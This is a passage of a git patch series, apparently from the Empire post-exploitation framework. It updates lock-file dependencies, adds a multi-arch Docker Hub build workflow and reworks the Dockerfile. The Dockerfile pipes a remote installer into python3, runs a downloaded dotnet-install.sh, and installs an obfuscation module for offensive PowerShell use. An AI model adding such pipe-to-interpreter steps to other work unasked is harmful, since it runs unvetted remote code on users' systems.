"sha256:625b72d77ac8ac23da3b1622e2da88c4aedaee14df47c8432bf8f6495e655de2"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b39a6e21110204a8c08d40ff56a73ba542ec60bab701c36ce721e7990df49fb9"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53a766cb0b468223cafdf63e2d37f14a4757476157927b09300c8c5832d88560"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0e1ce8ebd2e040357dde01a3fb7d30d9b5736b3e54a94002641dfd0aa12ae6ce"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:505f503763a767556fa4deae5194b2be056b64ecca72ac65224381a0acab7ebe"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-win32.whl", hash = "sha256:154a32f3c7b00de3d090bc60ec8006a78149e221f1182e3edcf0376016be9396"}, - {file = "SQLAlchemy-2.0.22-cp312-cp312-win_amd64.whl", hash = "sha256:129415f89744b05741c6f0b04a84525f37fbabe5dc3774f7edf100e7458c48cd"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3940677d341f2b685a999bffe7078697b5848a40b5f6952794ffcf3af150c301"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55914d45a631b81a8a2cb1a54f03eea265cf1783241ac55396ec6d735be14883"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2096d6b018d242a2bcc9e451618166f860bb0304f590d205173d317b69986c95"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:19c6986cf2fb4bc8e0e846f97f4135a8e753b57d2aaaa87c50f9acbe606bd1db"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:6ac28bd6888fe3c81fbe97584eb0b96804bd7032d6100b9701255d9441373ec1"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-win32.whl", hash = "sha256:cb9a758ad973e795267da334a92dd82bb7555cb36a0960dcabcf724d26299db8"}, - {file = "SQLAlchemy-2.0.22-cp37-cp37m-win_amd64.whl", hash = "sha256:40b1206a0d923e73aa54f0a6bd61419a96b914f1cd19900b6c8226899d9742ad"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3aa1472bf44f61dd27987cd051f1c893b7d3b17238bff8c23fceaef4f1133868"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:56a7e2bb639df9263bf6418231bc2a92a773f57886d371ddb7a869a24919face"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ccca778c0737a773a1ad86b68bda52a71ad5950b25e120b6eb1330f0df54c3d0"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7c6c3e9350f9fb16de5b5e5fbf17b578811a52d71bb784cc5ff71acb7de2a7f9"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:564e9f9e4e6466273dbfab0e0a2e5fe819eec480c57b53a2cdee8e4fdae3ad5f"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:af66001d7b76a3fab0d5e4c1ec9339ac45748bc4a399cbc2baa48c1980d3c1f4"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-win32.whl", hash = "sha256:9e55dff5ec115316dd7a083cdc1a52de63693695aecf72bc53a8e1468ce429e5"}, - {file = "SQLAlchemy-2.0.22-cp38-cp38-win_amd64.whl", hash = "sha256:4e869a8ff7ee7a833b74868a0887e8462445ec462432d8cbeff5e85f475186da"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9886a72c8e6371280cb247c5d32c9c8fa141dc560124348762db8a8b236f8692"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a571bc8ac092a3175a1d994794a8e7a1f2f651e7c744de24a19b4f740fe95034"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8db5ba8b7da759b727faebc4289a9e6a51edadc7fc32207a30f7c6203a181592"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b0b3f2686c3f162123adba3cb8b626ed7e9b8433ab528e36ed270b4f70d1cdb"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0c1fea8c0abcb070ffe15311853abfda4e55bf7dc1d4889497b3403629f3bf00"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4bb062784f37b2d75fd9b074c8ec360ad5df71f933f927e9e95c50eb8e05323c"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-win32.whl", hash = "sha256:58a3aba1bfb32ae7af68da3f277ed91d9f57620cf7ce651db96636790a78b736"}, - {file = "SQLAlchemy-2.0.22-cp39-cp39-win_amd64.whl", hash = "sha256:92e512a6af769e4725fa5b25981ba790335d42c5977e94ded07db7d641490a85"}, - {file = "SQLAlchemy-2.0.22-py3-none-any.whl", hash = "sha256:3076740335e4aaadd7deb3fe6dcb96b3015f1613bd190a4e1634e1b99b02ec86"}, - {file = "SQLAlchemy-2.0.22.tar.gz", hash = "sha256:5434cc601aa17570d79e5377f5fd45ff92f9379e2abed0be5e8c2fba8d353d2b"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:638c2c0b6b4661a4fd264f6fb804eccd392745c5887f9317feb64bb7cb03b3ea"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e3b5036aa326dc2df50cba3c958e29b291a80f604b1afa4c8ce73e78e1c9f01d"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:787af80107fb691934a01889ca8f82a44adedbf5ef3d6ad7d0f0b9ac557e0c34"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c14eba45983d2f48f7546bb32b47937ee2cafae353646295f0e99f35b14286ab"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0666031df46b9badba9bed00092a1ffa3aa063a5e68fa244acd9f08070e936d3"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:89a01238fcb9a8af118eaad3ffcc5dedaacbd429dc6fdc43fe430d3a941ff965"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-win32.whl", hash = "sha256:cabafc7837b6cec61c0e1e5c6d14ef250b675fa9c3060ed8a7e38653bd732ff8"}, + {file = "SQLAlchemy-2.0.23-cp310-cp310-win_amd64.whl", hash = "sha256:87a3d6b53c39cd173990de2f5f4b83431d534a74f0e2f88bd16eabb5667e65c6"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d5578e6863eeb998980c212a39106ea139bdc0b3f73291b96e27c929c90cd8e1"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:62d9e964870ea5ade4bc870ac4004c456efe75fb50404c03c5fd61f8bc669a72"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c80c38bd2ea35b97cbf7c21aeb129dcbebbf344ee01a7141016ab7b851464f8e"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75eefe09e98043cff2fb8af9796e20747ae870c903dc61d41b0c2e55128f958d"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd45a5b6c68357578263d74daab6ff9439517f87da63442d244f9f23df56138d"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a86cb7063e2c9fb8e774f77fbf8475516d270a3e989da55fa05d08089d77f8c4"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-win32.whl", hash = "sha256:b41f5d65b54cdf4934ecede2f41b9c60c9f785620416e8e6c48349ab18643855"}, + {file = "SQLAlchemy-2.0.23-cp311-cp311-win_amd64.whl", hash = "sha256:9ca922f305d67605668e93991aaf2c12239c78207bca3b891cd51a4515c72e22"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:d0f7fb0c7527c41fa6fcae2be537ac137f636a41b4c5a4c58914541e2f436b45"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7c424983ab447dab126c39d3ce3be5bee95700783204a72549c3dceffe0fc8f4"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f508ba8f89e0a5ecdfd3761f82dda2a3d7b678a626967608f4273e0dba8f07ac"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6463aa765cf02b9247e38b35853923edbf2f6fd1963df88706bc1d02410a5577"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:e599a51acf3cc4d31d1a0cf248d8f8d863b6386d2b6782c5074427ebb7803bda"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fd54601ef9cc455a0c61e5245f690c8a3ad67ddb03d3b91c361d076def0b4c60"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-win32.whl", hash = "sha256:42d0b0290a8fb0165ea2c2781ae66e95cca6e27a2fbe1016ff8db3112ac1e846"}, + {file = "SQLAlchemy-2.0.23-cp312-cp312-win_amd64.whl", hash = "sha256:227135ef1e48165f37590b8bfc44ed7ff4c074bf04dc8d6f8e7f1c14a94aa6ca"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:14aebfe28b99f24f8a4c1346c48bc3d63705b1f919a24c27471136d2f219f02d"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e983fa42164577d073778d06d2cc5d020322425a509a08119bdcee70ad856bf"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e0dc9031baa46ad0dd5a269cb7a92a73284d1309228be1d5935dac8fb3cae24"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:5f94aeb99f43729960638e7468d4688f6efccb837a858b34574e01143cf11f89"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:63bfc3acc970776036f6d1d0e65faa7473be9f3135d37a463c5eba5efcdb24c8"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-win32.whl", hash = "sha256:f48ed89dd11c3c586f45e9eec1e437b355b3b6f6884ea4a4c3111a3358fd0c18"}, + {file = "SQLAlchemy-2.0.23-cp37-cp37m-win_amd64.whl", hash = "sha256:1e018aba8363adb0599e745af245306cb8c46b9ad0a6fc0a86745b6ff7d940fc"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:64ac935a90bc479fee77f9463f298943b0e60005fe5de2aa654d9cdef46c54df"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:c4722f3bc3c1c2fcc3702dbe0016ba31148dd6efcd2a2fd33c1b4897c6a19693"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4af79c06825e2836de21439cb2a6ce22b2ca129bad74f359bddd173f39582bf5"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:683ef58ca8eea4747737a1c35c11372ffeb84578d3aab8f3e10b1d13d66f2bc4"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:d4041ad05b35f1f4da481f6b811b4af2f29e83af253bf37c3c4582b2c68934ab"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:aeb397de65a0a62f14c257f36a726945a7f7bb60253462e8602d9b97b5cbe204"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-win32.whl", hash = "sha256:42ede90148b73fe4ab4a089f3126b2cfae8cfefc955c8174d697bb46210c8306"}, + {file = "SQLAlchemy-2.0.23-cp38-cp38-win_amd64.whl", hash = "sha256:964971b52daab357d2c0875825e36584d58f536e920f2968df8d581054eada4b"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:616fe7bcff0a05098f64b4478b78ec2dfa03225c23734d83d6c169eb41a93e55"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0e680527245895aba86afbd5bef6c316831c02aa988d1aad83c47ffe92655e74"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9585b646ffb048c0250acc7dad92536591ffe35dba624bb8fd9b471e25212a35"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4895a63e2c271ffc7a81ea424b94060f7b3b03b4ea0cd58ab5bb676ed02f4221"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:cc1d21576f958c42d9aec68eba5c1a7d715e5fc07825a629015fe8e3b0657fb0"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:967c0b71156f793e6662dd839da54f884631755275ed71f1539c95bbada9aaab"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-win32.whl", hash = "sha256:0a8c6aa506893e25a04233bc721c6b6cf844bafd7250535abb56cb6cc1368884"}, + {file = "SQLAlchemy-2.0.23-cp39-cp39-win_amd64.whl", hash = "sha256:f3420d00d2cb42432c1d0e44540ae83185ccbbc67a6054dcc8ab5387add6620b"}, + {file = "SQLAlchemy-2.0.23-py3-none-any.whl", hash = "sha256:31952bbc527d633b9479f5f81e8b9dfada00b91d6baba021a869095f1a97006d"}, + {file = "SQLAlchemy-2.0.23.tar.gz", hash = "sha256:c1bda93cbbe4aa2aa0aa8655c5aeda505cd219ff3e8da91d1d329e143e4aff69"}, ] [package.dependencies] @@ -2561,6 +2556,7 @@ typing-extensions = ">=4.2.0" [package.extras] aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"] +aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"] asyncio = ["greenlet (!=0.4.17)"] asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] @@ -2571,7 +2567,7 @@ mssql-pyodbc = ["pyodbc"] mypy = ["mypy (>=0.910)"] mysql = ["mysqlclient (>=1.4.0)"] mysql-connector = ["mysql-connector-python"] -oracle = ["cx-oracle (>=7)"] +oracle = ["cx-oracle (>=8)"] oracle-oracledb = ["oracledb (>=1.0.1)"] postgresql = ["psycopg2 (>=2.7)"] postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] @@ -2728,13 +2724,13 @@ files = [ [[package]] name = "twisted" -version = "23.8.0" +version = "23.10.0" description = "An asynchronous networking framework written in Python" optional = false -python-versions = ">=3.7.1" +python-versions = ">=3.8.0" files = [ - {file = "twisted-23.8.0-py3-none-any.whl", hash = "sha256:b8bdba145de120ffb36c20e6e071cce984e89fba798611ed0704216fb7f884cd"}, - {file = "twisted-23.8.0.tar.gz", hash = "sha256:3c73360add17336a622c0d811c2a2ce29866b6e59b1125fd6509b17252098a24"}, + {file = "twisted-23.10.0-py3-none-any.whl", hash = "sha256:4ae8bce12999a35f7fe6443e7f1893e6fe09588c8d2bed9c35cdce8ff2d5b444"}, + {file = "twisted-23.10.0.tar.gz", hash = "sha256:987847a0790a2c597197613686e2784fd54167df3a55d0fb17c8412305d76ce5"}, ] [package.dependencies] @@ -2744,19 +2740,18 @@ constantly = ">=15.1" hyperlink = ">=17.1.1" incremental = ">=22.10.0" twisted-iocpsupport = {version = ">=1.0.2,<2", markers = "platform_system == \"Windows\""} -typing-extensions = ">=3.10.0" +typing-extensions = ">=4.2.0" zope-interface = ">=5" [package.extras] -all-non-platform = ["twisted[conch,contextvars,http2,serial,test,tls]", "twisted[conch,contextvars,http2,serial,test,tls]"] +all-non-platform = ["twisted[conch,http2,serial,test,tls]", "twisted[conch,http2,serial,test,tls]"] conch = ["appdirs (>=1.4.0)", "bcrypt (>=3.1.3)", "cryptography (>=3.3)"] -contextvars = ["contextvars (>=2.4,<3)"] dev = ["coverage (>=6b1,<7)", "pyflakes (>=2.2,<3.0)", "python-subunit (>=1.4,<2.0)", "twisted[dev-release]", "twistedchecker (>=0.7,<1.0)"] -dev-release = ["pydoctor (>=23.4.0,<23.5.0)", "pydoctor (>=23.4.0,<23.5.0)", "readthedocs-sphinx-ext (>=2.2,<3.0)", "readthedocs-sphinx-ext (>=2.2,<3.0)", "sphinx (>=5,<7)", "sphinx (>=5,<7)", "sphinx-rtd-theme (>=1.2,<2.0)", "sphinx-rtd-theme (>=1.2,<2.0)", "towncrier (>=22.12,<23.0)", "towncrier (>=22.12,<23.0)", "urllib3 (<2)", "urllib3 (<2)"] +dev-release = ["pydoctor (>=23.9.0,<23.10.0)", "pydoctor (>=23.9.0,<23.10.0)", "sphinx (>=6,<7)", "sphinx (>=6,<7)", "sphinx-rtd-theme (>=1.3,<2.0)", "sphinx-rtd-theme (>=1.3,<2.0)", "towncrier (>=23.6,<24.0)", "towncrier (>=23.6,<24.0)"] gtk-platform = ["pygobject", "pygobject", "twisted[all-non-platform]", "twisted[all-non-platform]"] http2 = ["h2 (>=3.0,<5.0)", "priority (>=1.1.0,<2.0)"] macos-platform = ["pyobjc-core", "pyobjc-core", "pyobjc-framework-cfnetwork", "pyobjc-framework-cfnetwork", "pyobjc-framework-cocoa", "pyobjc-framework-cocoa", "twisted[all-non-platform]", "twisted[all-non-platform]"] -mypy = ["mypy (==0.981)", "mypy-extensions (==0.4.3)", "mypy-zope (==0.3.11)", "twisted[all-non-platform,dev]", "types-pyopenssl", "types-setuptools"] +mypy = ["mypy (>=1.5.1,<1.6.0)", "mypy-zope (>=1.0.1,<1.1.0)", "twisted[all-non-platform,dev]", "types-pyopenssl", "types-setuptools"] osx-platform = ["twisted[macos-platform]", "twisted[macos-platform]"] serial = ["pyserial (>=3.0)", "pywin32 (!=226)"] test = ["cython-test-exception-raiser (>=1.0.2,<2)", "hypothesis (>=6.56)", "pyhamcrest (>=2)"] @@ -2839,13 +2834,13 @@ standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", [[package]] name = "wcwidth" -version = "0.2.8" +version = "0.2.9" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" files = [ - {file = "wcwidth-0.2.8-py2.py3-none-any.whl", hash = "sha256:77f719e01648ed600dfa5402c347481c0992263b81a027344f3e1ba25493a704"}, - {file = "wcwidth-0.2.8.tar.gz", hash = "sha256:8705c569999ffbb4f6a87c6d1b80f324bd6db952f5eb0b95bc07517f4c1813d4"}, + {file = "wcwidth-0.2.9-py2.py3-none-any.whl", hash = "sha256:9a929bd8380f6cd9571a968a9c8f4353ca58d7cd812a4822bba831f8d685b223"}, + {file = "wcwidth-0.2.9.tar.gz", hash = "sha256:a675d1a4a2d24ef67096a04b85b02deeecd8e226f57b5e3a72dbb9ed99d27da8"}, ] [[package]] @@ -2994,13 +2989,13 @@ numpy = "*" [[package]] name = "werkzeug" -version = "3.0.0" +version = "3.0.1" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" files = [ - {file = "werkzeug-3.0.0-py3-none-any.whl", hash = "sha256:cbb2600f7eabe51dbc0502f58be0b3e1b96b893b05695ea2b35b43d4de2d9962"}, - {file = "werkzeug-3.0.0.tar.gz", hash = "sha256:3ffff4dcc32db52ef3cc94dff3000a3c2846890f3a5a51800a27b909c5e770f0"}, + {file = "werkzeug-3.0.1-py3-none-any.whl", hash = "sha256:90a285dc0e42ad56b34e696398b8122ee4c681833fb35b8334a095d82c56da10"}, + {file = "werkzeug-3.0.1.tar.gz", hash = "sha256:507e811ecea72b18a404947aded4b3390e1db8f826b494d76550ef45bb3b1dcc"}, ] [package.dependencies] @@ -3208,4 +3203,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "ef22acd364fda0e317c57695f40c980379f5c531f664a5a2bcbaf81630506dc2" +content-hash = "733fdf0a216fa6facb4d40d84d03b03ec531ede20d0e655cb48e109e6ec423fc" diff --git a/pyproject.toml b/pyproject.toml index bc6169559..4ae47947c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -63,7 +63,7 @@ httpx = "^0.24.1" # For starlette TestClient black = "^23.10.0" pytest = "^7.4.2" pytest-timeout = "^2.2.0" -ruff = "^0.0.283" +ruff = "^0.1.4" pytest-cov = "^4.1.0" [build-system] @@ -108,11 +108,7 @@ select = [ "UP", # PyUpgrade "B" # Bugbear ] -target-version = "py38" - -[tool.ruff.pyupgrade] -# https://docs.astral.sh/ruff/settings/#pyupgrade-keep-runtime-typing -keep-runtime-typing = true +target-version = "py310" [tool.ruff.flake8-bugbear] extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi.Query", "fastapi.params.Query", "fastapi.File"] From 7d3197d62c22fbf9d02158e19819913156f4ac8d Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 5 Nov 2023 19:11:21 -0700 Subject: [PATCH 09/29] Multi-arch docker build (#723) * initial dockerimage update * use private-main * use proper capture for private-main head * get docker build working on arm * temporarily swap out config.yaml * cleanup * remove comment --- .github/workflows/dockerimage.yml | 36 +++++++++++++++++++++------- CHANGELOG.md | 4 +++- Dockerfile | 39 +++++++++++++++++++++---------- 3 files changed, 58 insertions(+), 21 deletions(-) diff --git a/.github/workflows/dockerimage.yml b/.github/workflows/dockerimage.yml index f76ef8caa..bb2ddd3c3 100644 --- a/.github/workflows/dockerimage.yml +++ b/.github/workflows/dockerimage.yml @@ -12,15 +12,35 @@ jobs: if: ${{ github.repository == 'BC-SECURITY/Empire' }} runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 + - name: Checkout + uses: actions/checkout@v4 with: - submodules: 'recursive' - - name: Publish Docker - uses: elgohr/Publish-Docker-Github-Action@v5 + submodules: recursive + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - name: Login to Docker Hub + uses: docker/login-action@v3 with: - name: bcsecurity/empire username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }} - dockerfile: Dockerfile - default_branch: main - tag_names: true + - name: Get tag names + id: tag-step + run: | + # If this is a release, the tag will be the same as the release tag + # If this is a push to main, the tag will be latest + if [[ "$GITHUB_REF" == refs/tags/* ]]; then + echo "RELEASE_TAG=${GITHUB_REF#refs/tags/}" >> "$GITHUB_OUTPUT" + echo "Using release tag ${GITHUB_REF#refs/tags/}" + elif [[ "$GITHUB_REF" == refs/heads/main ]]; then + echo "RELEASE_TAG=latest" >> "$GITHUB_OUTPUT" + echo "Using latest tag" + fi + - name: Build and push + uses: docker/build-push-action@v5 + with: + context: . + platforms: linux/amd64,linux/arm64 + push: true + tags: bcsecurity/empire-test:${{ steps.tag-step.outputs.RELEASE_TAG }} diff --git a/CHANGELOG.md b/CHANGELOG.md index 79522ee4b..15d6923a3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -23,11 +23,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Bump all OS to use Python 3.12 - Refactor the script to be a bit more readable - Condense the test_install_script job -- Update Dockerfile (@Vinnybod) +- Update Docker build (@Vinnybod) - Use the official Poetry installer - Fix Starkiller trying to auto-update inside the container - Pre-install Starkiller as part of the docker build - Use Python 3.12 + - Don't use apt for powershell and dotnet + - DockerHub images now have linux/amd64 and linux/arm64 architectures - Dependency changes (@Vinnybod) - Use BC-Security fork of md2pdf until upstream can support Python 3.12 - Use a patched version of pysecretsocks that packages asyncore for Python 3.12 support diff --git a/Dockerfile b/Dockerfile index 58579e95e..94f0e47b3 100644 --- a/Dockerfile +++ b/Dockerfile @@ -16,23 +16,39 @@ ENV STAGING_KEY=RANDOM DEBIAN_FRONTEND=noninteractive DOTNET_CLI_TELEMETRY_OPTOU SHELL ["/bin/bash", "-c"] -RUN wget -q https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb && \ - dpkg -i packages-microsoft-prod.deb && \ - apt-get update && \ +RUN apt-get update && \ apt-get install -qq \ --no-install-recommends \ apt-transport-https \ - dotnet-sdk-6.0 \ libicu-dev \ - powershell \ sudo \ xclip \ zip \ curl \ && rm -rf /var/lib/apt/lists/* -RUN curl -sSL https://install.python-poetry.org | python3 - -RUN ln -s /root/.local/bin/poetry /usr/bin +RUN unameOut="$(uname -m)" && \ + case "$unameOut" in \ + x86_64) export arch=x64 ;; \ + aarch64) export arch=arm64 ;; \ + *) exit 1;; \ + esac && \ + curl -L -o /tmp/powershell.tar.gz https://github.com/PowerShell/PowerShell/releases/download/v7.3.9/powershell-7.3.9-linux-$arch.tar.gz && \ + mkdir -p /opt/microsoft/powershell/7 && \ + tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/7 && \ + chmod +x /opt/microsoft/powershell/7/pwsh && \ + ln -s /opt/microsoft/powershell/7/pwsh /usr/bin/pwsh && \ + rm /tmp/powershell.tar.gz + + +RUN wget https://dot.net/v1/dotnet-install.sh -O dotnet-install.sh && \ + chmod +x ./dotnet-install.sh && \ + ./dotnet-install.sh --channel 6.0 && \ + ln -s /root/.dotnet/dotnet /usr/bin/dotnet && \ + rm dotnet-install.sh + +RUN curl -sSL https://install.python-poetry.org | python3 - && \ + ln -s /root/.local/bin/poetry /usr/bin WORKDIR /empire @@ -44,12 +60,11 @@ RUN poetry config virtualenvs.create false && \ COPY . /empire RUN mkdir -p /usr/local/share/powershell/Modules && \ - cp -r ./empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules + cp -r ./empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules && \ + rm -rf /empire/empire/server/data/empire* -RUN rm -rf /empire/empire/server/data/empire* - -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -RUN sed -i 's/auto_update: true/auto_update: false/g' empire/server/config.yaml +RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml && \ + sed -i 's/auto_update: true/auto_update: false/g' empire/server/config.yaml RUN ./ps-empire sync-starkiller From 6bb427b2d3b99301f554377b1865dd0457bdbf20 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 5 Nov 2023 19:35:26 -0700 Subject: [PATCH 10/29] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6225cf7f6..07a4c1ed5 100644 --- a/README.md +++ b/README.md @@ -80,7 +80,7 @@ After cloning the repo, you can checkout the latest stable release by running th git clone --recursive https://github.com/BC-SECURITY/Empire.git cd Empire ./setup/checkout-latest-tag.sh -sudo ./setup/install.sh +./setup/install.sh ``` If you are using the sponsors version of Empire, it will pull the sponsors version of Starkiller. From 127ba8b30d86cad9c6da8d11fb8e1cc0c1d1acc1 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 5 Nov 2023 20:03:45 -0700 Subject: [PATCH 11/29] Config path improvements (#724) * Use path for config and config properties. Always expanduser and resolve to the absolute path * fix obfuscation * fix download test * allow starkiller to be outside the dir too --- CHANGELOG.md | 3 +- empire/server/common/agents.py | 9 ++-- empire/server/core/config.py | 54 ++++++++++++++--------- empire/server/core/download_service.py | 10 +---- empire/server/core/obfuscation_service.py | 17 ++++--- empire/server/core/stager_service.py | 3 +- empire/server/server.py | 3 +- empire/test/test_download_service.py | 10 ++--- empire/test/test_logs.py | 10 +---- empire/test/test_obfuscation_api.py | 11 +++-- 10 files changed, 65 insertions(+), 65 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 15d6923a3..d7469046e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ and this project adheres to [Semantic 